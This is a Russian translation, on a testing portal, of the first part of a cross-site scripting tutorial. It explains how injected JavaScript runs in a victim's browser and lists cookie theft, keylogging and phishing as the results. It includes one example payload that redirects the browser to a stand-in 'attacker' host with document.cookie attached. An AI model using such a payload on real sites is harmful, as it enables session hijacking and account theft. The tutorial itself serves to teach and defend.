Что пишут в блогах

Подписаться

Онлайн-тренинги

Конференции

Что пишут в блогах (EN)

Разделы портала

Про инструменты

Лучшие вакансии

.
Руководство по XSS, часть 1
24.12.2019 00:00

Авторы: Джейкоб Каллин и Ирен Лобо Валбуэна (Jakob Kallin, Irene Lobo Valbuena)
Оригинал статьи: https://excess-xss.com/
Перевод: Ольга Алифанова

Общая информация

Что такое XSS?

Межсайтовый скриптинг (XSS) – это атака инъекции кода, позволяющая атакующему запустить вредоносный JavaScript в браузере другого пользователя.

Злоумышленник не целится в жертву напрямую. Вместо этого он пользуется уязвимостью на сайте, который посещает жертва, чтобы заставить сайт передать вредоносный JS. В браузере жертвы этот JS будет казаться полноправной частью сайта, и в результате сайт действует как невольный союзник злоумышленника.


Как проводится инъекция вредоносного JavaScript

Единственный способ, путем которого злоумышленник может запустить свой вредоносный JavaScript в браузере другого пользователя – это вставка этого кода на одну из страниц, которые жертва загружает с сайта. Это может произойти, если сайт напрямую включает пользовательский ввод на своих страницах – злоумышленник может вставить туда строку, которую браузер жертвы воспримет, как код.

В примере ниже приведен простой серверный скрипт, отображающий последний комментарий на сайте:

print "<html>"
print "Latest comment:"
print database.latestComment
print "</html>"

Скрипт предполагает, что комментарий состоит только из текста. Однако так как пользовательский ввод включается напрямую, то злоумышленник может опубликовать комментарий "<script>...</script>". Пользователь, зашедший на эту страницу, теперь получит такой ответ:

<html>
Latest comment:
<script>...</script>
</html>

Когда браузер пользователя загрузит страницу, он выполнит JavaScript-код, заключенный между тэгами <script>. Атака злоумышленника удалась.

Что такое вредоносный JavaScript?

Начнем с того, что возможность запуска JavaScript в браузере жертвы может казаться не особенно ужасной. В конце концов JavaScript работает в очень закрытом окружении, имеющем крайне ограниченный доступ к пользовательским файлам и операционной системе. Так-то вы можете открыть JavaScript-консоль вашего браузера прямо сейчас и запустить любой JavaScript, который придет вам в голову – и вы вряд ли каким-то образом навредите своему компьютеру.

Однако возможности вредоносного JavaScript станут яснее, если поразмышлять вот о чем:

  • У JavaScript есть доступ к закрытой информации пользователя – например, к временным файлам.
  • JavaScript может отправлять HTTP-запросы различного содержания в различных направлениях, используя XMLHttpRequest и прочие механизмы.
  • JavaScript может различным образом менять HTML текущей страницы, используя DOM-методы манипуляции.

В совокупности эти факторы могут вызвать серьезные прорехи в безопасности, и мы поговорим о них подробнее чуть позже.

Последствия вредоносного JavaScript

Помимо прочего, возможность запускать любой JavaScript в браузере другого пользователя позволяет злоумышленнику проводить следующие типы атак:

Кража временных файлов

Злоумышленник, используя document.cookie, может получить доступ к временным файлам жертвы, связанным с сайтом, отправить их на свой собственный сервер, и использовать для извлечения закрытой информации – например, об ID сессии.

Кейлоггинг

Злоумышленник может зарегистрировать слушателя событий клавиатуры при помощи addEventListener, а затем отправлять все нажатия клавиш на свой сервер, потенциально фиксируя закрытую информацию – скажем, пароли и номера кредитных карт.

Фишинг

Злоумышленник может вставить фальшивую форму авторизации на страницу, используя DOM-манипуляцию, заставить action-атрибут формы отправлять все на свой собственный сервер, и затем обмануть пользователя и получить его авторизационные данные.

Эти атаки сильно различаются, но в одном они критически похожи: так как злоумышленник внедрил код в страницу вебсайта, вредоносный JavaScript выполняется в контексте этого сайта. Это означает, что он обрабатывается так же, как и любой другой скрипт этого сайта: у него есть доступ к данным пользователя для сайта (например, к временным файлам), а имя хоста в URL-строке будет соответствовать сайту. Скрипт фактически воспринимается как правомочная часть сайта, что позволяет ему делать все то, что может сам сайт.

Это приводит нас к ключевому моменту:

Если злоумышленник может использовать ваш сайт для запуска произвольного JavaScript в браузере другого пользователя, то безопасность вашего сайта и его пользователей находится под угрозой.

Дабы четче донести эту мысль, ряд примеров в этом руководстве не будет детально демонстрировать вредоносный скрипт, вместо этого показывая только теги <script>...</script>. Это значит, что само присутствие внедренного злоумышленником скрипта – уже проблема, вне зависимости от конкретного кода, который в нем выполняется.

XSS-атаки

Агенты XSS-атаки

Прежде чем разобраться в деталях, как работает XSS-атака, нам нужно определить агентов, вовлеченных в нее. В целом XSS-атака включает трех агентов: сайт, жертву и злоумышленника.

  • Сайт предоставляет HTML-страницы запрашивающим их пользователям. В наших примерах он расположен по адресу http://website/.
  • Жертва – обычный пользователь сайта, который запрашивает его страницы при помощи браузера.
  • Злоумышленник – пользователь сайта, намеренный атаковать жертву при помощи XSS-уязвимости на сайте.
    • Сервер злоумышленника – веб-сервер под контролем злоумышленника, существующий для кражи ценной информации. В наших примерах он находится по адресу http://attacker/.

Пример сценария атаки

В этом примере мы предположим, что цель злоумышленника – украсть временные файлы (cookies) пользователя, используя XSS-уязвимость сайта. Это можно сделать, заставив браузер жертвы обработать код:

<script>
window.location='http://attacker/?cookie='+document.cookie
</script>

Этот скрипт перенаправляет браузер пользователя на другой URL, провоцируя HTTP-запрос к серверу злоумышленника. URL включает куки жертвы как параметр запроса, и злоумышленник может извлечь их из запроса, когда запрос дойдет до его сервера. Как только он приобрел куки-файлы, он может использовать их для имитации жертвы и запуска дальнейших атак.

Здесь и далее HTML-код, приведенный выше, будет описываться как вредоносная строка или вредоносный скрипт. Важно отметить, что строка вредоносна только тогда, когда она обрабатывается как HTML в браузере жертвы – а это происходит только при наличии на сайте XSS-уязвимости.

Как работает пример атаки

Диаграмма ниже демонстрирует, как эта атака может быть выполнена злоумышленником.

 

  1. Злоумышленник использует одну из форм сайта, чтобы вставить вредоносную строку в базу данных сайта.
  2. Жертва запрашивает страницу сайта.
  3. Сайт включает в ответ вредоносную строку из базы данных и отправляет ее жертве.
  4. Браузер жертвы выполняет вредоносный скрипт из ответа, отправляя куки-файлы жертвы на сервер злоумышленника.

В следующей части этого руководства будут обсуждаться различные типы XSS-атак.

Обсудить в форуме